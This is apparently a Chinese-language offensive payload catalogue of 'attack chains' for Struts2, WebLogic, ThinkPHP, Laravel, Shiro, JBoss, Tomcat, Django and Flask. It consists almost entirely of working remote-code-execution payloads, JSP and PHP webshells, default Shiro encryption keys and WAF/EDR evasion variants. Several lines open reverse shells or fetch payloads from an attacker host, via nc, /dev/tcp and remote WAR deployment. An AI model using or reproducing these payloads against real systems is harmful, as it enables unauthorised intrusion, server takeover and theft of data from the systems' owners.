1. 1. S2-045漏洞 S2-045 Content-Type注入
# CVE-2017-5638
# Content-Type头注入
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
2. 2. S2-046漏洞 S2-046 Content-Disposition注入
# CVE-2017-5638
# Content-Disposition注入
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','vulnerable')}"
# 完整RCE
Content-Disposition: form-data; name="upload"; filename="%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=#dm).(#cmd='id').(#cmds={'/bin/bash','-c',#cmd}).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}"
3. 3. S2-057漏洞 S2-057 URL命名空间注入
# CVE-2018-11776
# URL命名空间注入
http://target/${(111+111)}/test.action
# 如果返回222则存在漏洞
# RCE
http://target/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=#dm).(#cmd='id').(#cmds={'/bin/bash','-c',#cmd}).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}/test.action
4. 4. S2-061/S2-062漏洞 S2-061/062 OGNL注入
# CVE-2020-17530
# OGNL表达式注入
POST /action HTTP/1.1
Content-Type: application/x-www-form-urlencoded
id=%25%7b%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS.%40java.lang.Runtime%40getRuntime().exec(%27id%27)%7d
# 解码后
id=%{#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS.@java.lang.Runtime@getRuntime().exec('id')}
WAF/EDR 绕过变体:
1. 编码绕过 编码绕过
# URL编码
%{#cmd} = %25%7b%23cmd%7d
# Unicode编码
\u0025{#cmd}
# 双重编码
%2525%257b%2523cmd%257d
2. 表达式变体 表达式变体绕过
# 不同表达式语法
${...}
%{...}
#{...}
@{...}
# 使用静态方法
@java.lang.Runtime@getRuntime()
new java.lang.ProcessBuilder()
Struts2 OGNL表达式注入 struts2-ognl
Struts2 OGNL表达式注入技术详解
子类:Struts2 OGNL · tags: struts2 ognl expression injection
前置条件: 使用Struts2框架;存在OGNL注入点
攻击链:
1. 1. OGNL基础语法 OGNL基础语法
# 访问对象属性
#object.property
#object['property']
# 调用方法
#object.method()
#object.method(arg1, arg2)
# 静态方法调用
@package.ClassName@method()
@java.lang.Runtime@getRuntime()
# 创建对象
new java.lang.String("test")
new java.lang.ProcessBuilder(new String[]{"id"})
2. 2. 绕过安全限制 绕过安全限制
# 获取DEFAULT_MEMBER_ACCESS
#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS
# 设置成员访问权限
#_memberAccess=#dm
# 清除排除类
#ognlUtil.getExcludedClasses().clear()
#ognlUtil.getExcludedPackageNames().clear()
# 完整绕过
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
3. 3. 命令执行技巧 命令执行技巧
# 使用Runtime
#cmd='id'
#cmds={'/bin/bash','-c',#cmd}
#p=new java.lang.ProcessBuilder(#cmds)
#process=#p.start()
# 获取输出
#is=#process.getInputStream()
#ros=@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()
@org.apache.commons.io.IOUtils@copy(#is,#ros)
# 字符串输出
@org.apache.commons.io.IOUtils@toString(#process.getInputStream())
4. 4. 文件操作 文件操作
# 读取文件
new java.util.Scanner(new java.io.File("/etc/passwd")).useDelimiter("\\A").next()
# 写入文件
new java.io.FileOutputStream("shell.jsp").write(new sun.misc.BASE64Decoder().decodeBuffer("BASE64_SHELL").getBytes())
# 列出目录
new java.io.File("/").list()
WAF/EDR 绕过变体:
1. 字符编码绕过 字符编码绕过
# Unicode编码
\u0069d = id
\u0027 = '
# 十六进制
\x69\x64 = id
# 字符串拼接
"i"+"d" = "id"
'id'.substring(0,2)
2. 反射绕过 反射绕过
# 使用反射调用
#cls=@java.lang.Class@forName("java.lang.Runtime")
#method=#cls.getMethod("getRuntime")
#rt=#method.invoke(null)
#exec=#cls.getMethod("exec",@java.lang.String@class)
#exec.invoke(#rt,"id")
WebLogic远程代码执行 weblogic-rce
Oracle WebLogic Server RCE漏洞
子类:WebLogic · tags: weblogic rce java oracle
前置条件: 使用WebLogic Server;存在漏洞版本
攻击链:
1. 1. CVE-2017-10271 CVE-2017-10271 XMLDecoder
# XMLDecoder反序列化
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>id</string></void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
2. 2. CVE-2019-2725 CVE-2019-2725 AsyncResponseService
# 新版XMLDecoder绕过
POST /_async/AsyncResponseService HTTP/1.1
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>id</string></void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
3. 3. CVE-2020-14882 CVE-2020-14882 Console RCE
# 未授权访问+命令执行
# 登录绕过
GET /console/css/%252e%252e%252fconsole.portal HTTP/1.1
# 命令执行
GET /console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27id%27);%22) HTTP/1.1
WAF/EDR 绕过变体:
1. 路径编码绕过 路径编码绕过
# 不同编码方式
/console/css/..;/console.portal
/console/css/%2e%2e/console.portal
/console/css/%252e%252e/console.portal
/console/css/..%252fconsole.portal
2. XML变体 XML变体绕过
# 使用不同XML标签
<void class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<string>id</string>
</void>
</void>
# 使用数组形式
<array class="java.lang.String" length="1">
<void index="0"><string>id</string></void>
</array>
WebLogic T3协议攻击 weblogic-t3
WebLogic T3协议反序列化漏洞
子类:WebLogic T3 · tags: weblogic t3 deserialization java
前置条件: WebLogic开放T3端口;存在漏洞版本
攻击链:
1. 1. 探测T3服务 探测T3服务
# 扫描T3端口(默认7001)
nmap -sV -p 7001 target
# T3握手
echo "t3 12.2.1" | nc target 7001
# 如果返回HELO则存在T3服务
2. 2. 使用工具攻击 使用工具攻击
# 使用weblogic_exploit
git clone https://github.com/0xn0ne/weblogicScanner
cd weblogicScanner
python3 weblogic.py -t target -p 7001
# 使用WebLogicTool
java -jar WebLogicTool.jar -target target:7001 -cmd "id"
# 使用ysoserial
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections1 "touch /tmp/pwned"
3. 3. 构造恶意T3请求 构造恶意T3请求
# Python脚本构造T3请求
import socket
import struct
def send_t3_payload(target, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))
# T3握手
sock.send(b"t3 12.2.1\n")
response = sock.recv(1024)
# 发送恶意序列化对象
# 构造包含恶意对象的T3请求
sock.send(payload)
sock.close()
# 使用ysoserial生成payload
# java -jar ysoserial.jar CommonsCollections1 "id" > payload.bin
WAF/EDR 绕过变体:
1. Gadget链选择 Gadget链选择
# 不同Gadget链
CommonsCollections1
CommonsCollections2
CommonsCollections3
CommonsCollections4
CommonsBeanutils1
Jdk7u21
Jre8u20
# 根据目标环境选择合适的链
WebLogic IIOP协议攻击 weblogic-iiop
WebLogic IIOP协议反序列化漏洞
子类:WebLogic IIOP · tags: weblogic iiop deserialization corba
前置条件: WebLogic开放IIOP端口;存在漏洞版本
攻击链:
1. 1. 探测IIOP服务 探测IIOP服务
# 扫描IIOP端口 nmap -sV -p 7001 target
# IIOP使用相同端口
# 检测是否支持IIOP
# 使用工具检测
2. 2. CVE-2020-2551 CVE-2020-2551利用
# 使用weblogic_CVE_2020_2551
git clone https://github.com/Y4er/CVE-2020-2551
cd CVE-2020-2551
# 编译并运行
mvn package
java -jar target/CVE-2020-2551-1.0-SNAPSHOT.jar target 7001
# 使用JRMP监听
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}"
3. 3. 构造IIOP请求 构造IIOP请求
# 使用Python构造
# 需要安装相关库
pip install idna
# 使用JNDI注入
# 构造恶意JNDI引用
String jndiURL = "iiop://attacker:1099/Exploit";
Context ctx = new InitialContext();
ctx.lookup(jndiURL);
# 使用JNDIExploit工具
java -jar JNDIExploit.jar -i attacker_ip
WAF/EDR 绕过变体:
1. 协议切换 协议切换绕过
# 在T3和IIOP之间切换
# 如果T3被禁用,尝试IIOP
# 使用不同协议绕过检测
ThinkPHP远程代码执行 thinkphp-rce
ThinkPHP框架RCE漏洞
子类:ThinkPHP · tags: thinkphp rce php framework
前置条件: 使用ThinkPHP框架;存在漏洞版本
攻击链:
1. 1. ThinkPHP 5.x RCE ThinkPHP 5.0.x RCE
# ThinkPHP 5.0.x RCE
# 方法调用
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
# 写入WebShell
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php eval($_POST[cmd]);?>
# 执行系统命令
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
2. 2. ThinkPHP 5.1.x RCE ThinkPHP 5.1.x RCE
# ThinkPHP 5.1.x RCE
?s=index/think\Request/input&filter[]=system&data=id
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/think\Template/driver/file/write&cacheFile=shell.php&content=%3C%3Fphp%20eval($_POST[cmd]);%3F%3E
3. 3. ThinkPHP 5.0.23 RCE ThinkPHP 5.0.23 RCE
# POST方法
POST /index.php?s=captcha HTTP/1.1
Content-Type: application/x-www-form-urlencoded
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
# 写入Shell
_method=__construct&filter[]=file_put_contents&method=get&server[REQUEST_METHOD]=shell.php&get[]=<?php eval($_POST[cmd]);?>
4. 4. 信息收集 信息收集
# 获取ThinkPHP版本
# 查看响应头
X-Powered-By: ThinkPHP 5.0.x
# 访问特定页面
/index.php?s=/index/\think\app/init
/index.php?s=/index/\think\Request/input
# 错误信息泄露
# 触发错误查看版本
WAF/EDR 绕过变体:
1. 编码绕过 编码绕过
# URL编码
?s=%2fIndex%2f%5cthink%5capp%2finvokefunction
# 大小写混合
?s=/Index/\Think\App/invokefunction
# 双重编码
?s=%252fIndex%252f%255cthink%255capp%252finvokefunction
2. 路径变体 路径变体绕过
# 不同路径格式
?s=/index/think\app/invokefunction
?s=index/think/app/invokefunction
?s=/index/\think\App/invokefunction
# 使用不同入口点
/index.php?s=...
/?s=...
/public/index.php?s=...
Laravel远程代码执行 laravel-rce
Laravel框架RCE漏洞
子类:Laravel · tags: laravel rce php framework
前置条件: 使用Laravel框架;存在漏洞版本或配置
攻击链:
1. 1. CVE-2021-3129 CVE-2021-3129 Ignition RCE
# Laravel Ignition RCE
# 使用工具
git clone https://github.com/zhzyker/CVE-2021-3129
cd CVE-2021-3129
python3 exp.py -t http://target
# 手动利用
# 需要发送Phar反序列化payload
# 使用phpggc生成
phpggc Laravel/RCE1 system id > payload
# 发送请求
POST /_ignition/health-check HTTP/1.1
Content-Type: application/json
{"solution":"...","parameters":{"viewFile":"phar://..."}}
2. 2. 调试模式信息泄露 调试模式信息泄露
# APP_DEBUG=true信息泄露
# 访问触发错误的页面
# 查看堆栈跟踪中的敏感信息
# 可能泄露:
- 数据库凭证
- API密钥
- 环境变量
- 服务器路径
- 源代码片段
3. 3. .env文件泄露 .env文件泄露
# 尝试访问.env文件
GET /.env HTTP/1.1
GET /../.env HTTP/1.1
GET /public/.env HTTP/1.1
# .env文件包含:
APP_KEY=base64:...
DB_HOST=localhost
DB_DATABASE=laravel
DB_USERNAME=root
DB_PASSWORD=password
4. 4. APP_KEY利用 APP_KEY利用
# 获取APP_KEY后
# 可以伪造Cookie
# 解密加密数据
# 使用工具解密
php artisan decrypt <encrypted_value>
# 伪造管理员Cookie
# 需要了解应用加密方式
WAF/EDR 绕过变体:
1. 路径绕过 路径绕过
# 尝试不同路径
/.env
/.env.example
/.env.local
/.env.production
/../.env
/..%2f.env
/..%252f.env
Apache Shiro反序列化 shiro-deserialize
Apache Shiro RememberMe反序列化漏洞
子类:Apache Shiro · tags: shiro deserialization java rememberme
前置条件: 使用Apache Shiro;存在漏洞版本
攻击链:
1. 1. 检测Shiro 检测Shiro框架
# 检测rememberMe Cookie
# 响应中有rememberMe=deleteMe表示使用Shiro
# 使用工具检测
git clone https://github.com/sv3nbeast/ShiroScan
cd ShiroScan
java -jar shiro_scan.jar -t http://target
# 或使用Burp插件
# ShiroScan Burp插件
2. 2. 使用ysoserial生成payload 生成恶意payload
# 生成恶意序列化对象
java -jar ysoserial.jar CommonsCollections2 "id" > payload.ser
# 使用Shiro内置密钥加密
# 默认密钥: kPH+bIxk5D2deZiIxcaaaA==
# Python加密脚本
import base64
from Crypto.Cipher import AES
def encode_rememberme(command):
# 生成payload
payload = os.popen(f"java -jar ysoserial.jar CommonsCollections2 \"{command}\"").read()
# AES加密
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
cipher = AES.new(key, AES.MODE_CBC, iv=key)
# PKCS5Padding
pad = 16 - len(payload) % 16
payload += bytes([pad]) * pad
encrypted = cipher.encrypt(payload)
return base64.b64encode(encrypted).decode()
3. 3. 发送恶意请求 发送恶意请求
# 使用curl
curl -H "Cookie: rememberMe=<ENCODED_PAYLOAD>" http://target
# 使用工具
git clone https://github.com/insightglacier/Shiro_exploit
cd Shiro_exploit
python3 shiro_exploit.py -t http://target -c "id"
# 使用ShiroAttack
git clone https://github.com/acgbfull/ShiroAttack
cd ShiroAttack
java -jar ShiroAttack.jar
4. 4. 常见密钥列表 常见密钥列表
# 常见Shiro密钥
kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
fCq+/xW488hMTCD+cmJ3aQ==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
2AvVhdsgUs0F8SZSnWd+Zw==
6ZmI6I2j5Y+R54aHjOqYzg==
# 尝试不同密钥
# 或爆破密钥
WAF/EDR 绕过变体:
1. Gadget链选择 Gadget链选择
# 不同Gadget链
CommonsCollections2
CommonsBeanutils1
Jdk7u21
JRMPClient
# 根据目标环境选择
# 某些链可能被过滤
2. 密钥爆破 密钥爆破
# 使用工具爆破密钥
git clone https://github.com/insightglacier/Shiro_exploit
python3 shiro_exploit.py -t http://target -f keys.txt
# 或使用ShiroScan
java -jar shiro_scan.jar -t http://target -f keys.txt
JBoss漏洞利用 jboss-vuln
JBoss应用服务器漏洞
子类:JBoss · tags: jboss rce java deserialization
前置条件: 使用JBoss服务器;存在漏洞版本
攻击链:
1. 1. JMXInvokerServlet反序列化 JMXInvokerServlet反序列化
# CVE-2015-7501
# 发送恶意序列化对象
POST /invoker/JMXInvokerServlet HTTP/1.1
Content-Type: application/x-java-serialized-object
# 使用ysoserial生成payload
java -jar ysoserial.jar CommonsCollections1 "id" > payload.ser
# 发送
curl -X POST -H "Content-Type: application/x-java-serialized-object" --data-binary @payload.ser http://target/invoker/JMXInvokerServlet
2. 2. JMX Console部署War包 JMX Console部署War包
# 访问JMX Console
http://target/jmx-console/
# 查找deploy方法
# 找到 jboss.system:service=MainDeployer
# 部署远程War包
# 使用deploy方法,URL参数指向恶意War
http://target/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.system:service=MainDeployer&methodName=deploy&argType=java.lang.String&arg=http://attacker/shell.war
# 访问部署的Shell
http://target/shell/cmd.jsp?cmd=id
3. 3. BSHDeployer部署 BSHDeployer部署
# 使用BeanShell部署
# 找到 jboss.scripts:service=BSHDeployer
# 执行BeanShell脚本
# 通过createScriptDeployment方法
# 构造恶意脚本
import java.io.*;
Runtime rt = Runtime.getRuntime();
Process p = rt.exec("id");
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
print(line);
}
4. 4. 使用工具 使用JexBoss工具
# JexBoss
git clone https://github.com/joaomatosf/jexboss
cd jexboss
python jexboss.py -host http://target
# 自动化利用
python jexboss.py -mode file-scan -file hosts.txt
WAF/EDR 绕过变体:
1. 端点变体 端点变体
# 不同端点
/invoker/JMXInvokerServlet
/invoker/EJBInvokerServlet
/invoker/readonly/JMXInvokerServlet
/jmx-console/
/web-console/
Apache Tomcat漏洞 tomcat-vuln
Apache Tomcat服务器漏洞利用
子类:Tomcat · tags: tomcat rce java manager
前置条件: 使用Tomcat服务器;存在漏洞版本或配置
攻击链:
1. 1. Manager App弱口令 Manager App弱口令
# 访问Manager App
http://target/manager/html
# 常见弱口令
tomcat:tomcat
admin:admin
admin:tomcat
# 使用工具爆破
hydra -l tomcat -P passwords.txt target http-get /manager/html
2. 2. 部署War包 部署War包
# 生成恶意War包
# cmd.jsp
<%@ page import="java.util.*,java.io.*"%>
<% String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while((line = br.readLine()) != null) { out.println(line); }
%>
# 打包
jar cvf shell.war cmd.jsp
# 通过Manager上传
curl -u tomcat:tomcat -T shell.war "http://target/manager/deploy?path=/shell"
# 访问Shell
http://target/shell/cmd.jsp?cmd=id
3. 3. CVE-2020-1938 Ghostcat CVE-2020-1938 Ghostcat
# AJP文件读取/包含
# 使用工具
git clone https://github.com/chaitin/xray
cd xray
./xray_linux_amd64 webscan --plugins phantomjs --url http://target
# 或使用专用工具
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
cd CNVD-2020-10487-Tomcat-Ajp-lfi
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f /WEB-INF/web.xml target
4. 4. PUT方法任意文件写入 [windows] PUT方法任意文件写入
# CVE-2017-12615
# Windows下PUT方法写文件
PUT /shell.jsp%20 HTTP/1.1
Host: target
Content-Length: 24
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
# 或使用::$DATA
PUT /shell.jsp::$DATA HTTP/1.1
# 或使用/
PUT /shell.jsp/ HTTP/1.1
WAF/EDR 绕过变体:
1. 文件名绕过 文件名绕过
# 不同文件名变体
shell.jsp%20
shell.jsp::$DATA
shell.jsp/
shell.jsp%00
shell.jSp
shell.jsP
Django框架漏洞 django-vuln
Django框架安全漏洞
子类:Django · tags: django python framework sql
前置条件: 使用Django框架;存在漏洞版本
攻击链:
1. 1. SQL注入 CVE-2020-7471 SQL注入
# CVE-2020-7471
# 通过PostgreSQL输入验证绕过
# 使用JSONField/HStoreField
# 构造恶意查询
Model.objects.filter(data__contains={"key": "value; SELECT SLEEP(5);--"})
# 或使用ArrayField
Model.objects.filter(tags__contains=["tag'); SELECT SLEEP(5);--"])
# 触发SQL注入
2. 2. 调试模式信息泄露 调试模式信息泄露
# DEBUG=True时
# 错误页面泄露:
- 源代码
- 环境变量
- 数据库配置
- SECRET_KEY
- 服务器路径
# 访问不存在的页面触发错误
http://target/nonexistent
# 或触发异常
3. 3. SECRET_KEY利用 SECRET_KEY利用
# 获取SECRET_KEY后
# 可以:
# 1. 签名伪造Session
# 2. 签名伪造CSRF Token
# 3. 密码重置Token
# 使用django-session-cleanup工具
# 或手动解签
import django.core.signing as signing
# 解签Session
signing.loads(session_value, key=SECRET_KEY)
# 签名伪造Session
fake_session = signing.dumps({"user_id": 1}, key=SECRET_KEY)
4. 4. 路径遍历 路径遍历漏洞
# CVE-2021-28658
# Django静态文件路径遍历
GET /static/../../../../etc/passwd
# 使用工具检测
curl http://target/static/../../../../etc/passwd
WAF/EDR 绕过变体:
1. 编码绕过 编码绕过
# URL编码
/static/%2e%2e/%2e%2e/etc/passwd
# 双重编码
/static/%252e%252e/%252e%252e/etc/passwd
# Unicode编码
/static/..%c0%af..%c0%af/etc/passwd
Flask框架漏洞 flask-vuln
Flask框架安全漏洞
子类:Flask · tags: flask python framework ssti
前置条件: 使用Flask框架;存在漏洞配置
攻击链:
1. 1. SSTI模板注入 SSTI模板注入
# Jinja2模板注入探测
{{7*7}}
${7*7}
<%= 7*7 %>
# 如果返回49则存在SSTI
# 获取配置
{{config}}
{{self.__class__}}
# 命令执行
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
2. 2. SECRET_KEY利用 SECRET_KEY利用
# Flask Session签名
# 获取SECRET_KEY后可以伪造Session
# 解签Session
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer
# 解签
def decode_session(cookie_value, secret_key):
serializer = URLSafeTimedSerializer(secret_key)
return serializer.loads(cookie_value)
# 签名伪造
def encode_session(data, secret_key):
serializer = URLSafeTimedSerializer(secret_key)
return serializer.dumps(data)
# 伪造管理员Session
fake_session = encode_session({"user_id": 1, "is_admin": True}, SECRET_KEY)
3. 3. 调试模式RCE 调试模式RCE
# Flask Debug模式
# 访问/debug或/console
# 可以执行任意Python代码
# Werkzeug Debug Console
# 访问:
http://target/console
# 执行代码
import os; os.system('id')
__import__('os').system('id')
4. 4. PIN码绕过 PIN码绕过
# Flask Debug PIN
# 需要获取:
# 1. 用户名
# 2. modname
# 3. app路径
# 4. MAC地址
# 读取信息
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
{{config.__class__.__init__.__globals__['os'].environ}}
# 计算PIN
# 使用脚本计算Werkzeug PIN
WAF/EDR 绕过变体:
1. SSTI绕过 SSTI绕过
# 过滤绕过
# 使用attr
{{''|attr('__class__')|attr('__mro__')}}
# 使用request
{{request|attr('application')|attr('__globals__')}}
# 使用字符串拼接
{{'__cla'~'ss__'}}
# 使用编码
{{''['\x5f\x5fclass\x5f\x5f']}}
WebLogic XMLDecoder weblogic-xmldecoder
利用WebLogic Server中XMLDecoder反序列化漏洞(CVE-2017-10271/CVE-2017-3506)实现远程代码执行
子类:WebLogic · tags: weblogic xmldecoder rce
前置条件: 目标运行WebLogic Server;存在/wls-wsat/或/_async/路径;XMLDecoder组件未被禁用;WebLogic版本存在漏洞(10.3.6.0/12.1.3.0等)
攻击链:
1. 探测WebLogic版本和路径 [linux] 探测WebLogic服务器版本、开放端口和可利用的端点
# 检测WebLogic控制台
curl -sI "http://target:7001/console/" | head -5
# 检测wls-wsat端点(CVE-2017-10271)
curl -s "http://target:7001/wls-wsat/CoordinatorPortType" | head -20
# 检测AsyncResponseService端点(CVE-2019-2725)
curl -s "http://target:7001/_async/AsyncResponseService" | head -20
# 检测T3协议
nmap -sV -p 7001 --script weblogic-t3-info target
2. CVE-2017-10271 XMLDecoder RCE [linux] 通过SOAP请求中的WorkContext注入XMLDecoder反序列化payload实现命令执行
curl -v "http://target:7001/wls-wsat/CoordinatorPortType" -H "Content-Type: text/xml" -d '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>id > /tmp/test_rce.txt</string></void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'
3. CVE-2019-2725 反序列化RCE [linux] 利用_async端点的反序列化漏洞执行外带验证(OOB)
curl -v "http://target:7001/_async/AsyncResponseService" -H "Content-Type: text/xml" -d '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>curl http://attacker.com/callback?rce=success</string></void>
</array>
<void method="start"/>
</void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body><asy:onAsyncDelivery/></soapenv:Body>
</soapenv:Envelope>'
4. 写入Webshell获取持久权限 [linux] 利用XMLDecoder的PrintWriter写入JSP webshell到WebLogic部署目录
# 通过XMLDecoder写入JSP Webshell
curl "http://target:7001/wls-wsat/CoordinatorPortType" -H "Content-Type: text/xml" -d '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0" class="java.beans.XMLDecoder">
<void class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println">
<string><![CDATA[<%if("test".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a=-1;byte[]b=new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}}%>]]></string>
</void>
<void method="close"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'
# 验证Webshell
curl "http://target:7001/bea_wls_internal/test.jsp?pwd=test&cmd=id"
WAF/EDR 绕过变体:
1. 备用反序列化端点 尝试WebLogic WLS-WSAT组件的多个不同SOAP端点,部分端点可能未被WAF规则覆盖
# 尝试不同的XMLDecoder入口
curl -H "Content-Type: text/xml" -d @payload.xml http://target:7001/wls-wsat/CoordinatorPortType
curl -H "Content-Type: text/xml" -d @payload.xml http://target:7001/wls-wsat/CoordinatorPortType11
curl -H "Content-Type: text/xml" -d @payload.xml http://target:7001/wls-wsat/ParticipantPortType
curl -H "Content-Type: text/xml" -d @payload.xml http://target:7001/wls-wsat/RegistrationPortTypeRPC
curl -H "Content-Type: text/xml" -d @payload.xml http://target:7001/wls-wsat/RegistrationRequesterPortType
2. T3/IIOP协议绕过HTTP层WAF 使用T3或IIOP协议发送反序列化payload,绕过仅检测HTTP流量的WAF
# T3协议利用(绕过HTTP层WAF)
python3 weblogic_t3_exploit.py -t target:7001 -c "id"
# IIOP协议利用
python3 weblogic_iiop_exploit.py -t target:7001 -c "whoami"
# 使用ysoserial生成T3 payload
java -jar ysoserial.jar CommonsCollections1 "touch /tmp/test" | python3 t3_send.py target 7001
3. XML编码混淆绕过 通过XML编码(UTF-16/CDATA/实体编码)混淆payload内容绕过基于内容匹配的WAF
<!-- UTF-16编码绕过 -->
<?xml version="1.0" encoding="UTF-16"?>
<!-- CDATA包裹关键字 -->
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string><![CDATA[/bin/sh]]></string></void>
<void index="1"><string><![CDATA[-c]]></string></void>
<void index="2"><string><![CDATA[id]]></string></void>
</array>
<void method="start"/>
</object>
</java>
· RCE远程代码执行
命令注入 rce-command-injection
操作系统命令注入攻击技术
子类:命令注入 · tags: rce command injection os
前置条件: 存在系统命令执行功能;用户输入未过滤
攻击链:
1. 1. 探测命令注入 探测命令注入点
; id
| id
`id`
$(id)
&& id
|| id
test;id
test|id
2. 2. Linux命令注入 [linux] Linux系统命令注入
; whoami
; id
; cat /etc/passwd
; ls -la /
; nc -e /bin/bash attacker.com 4444
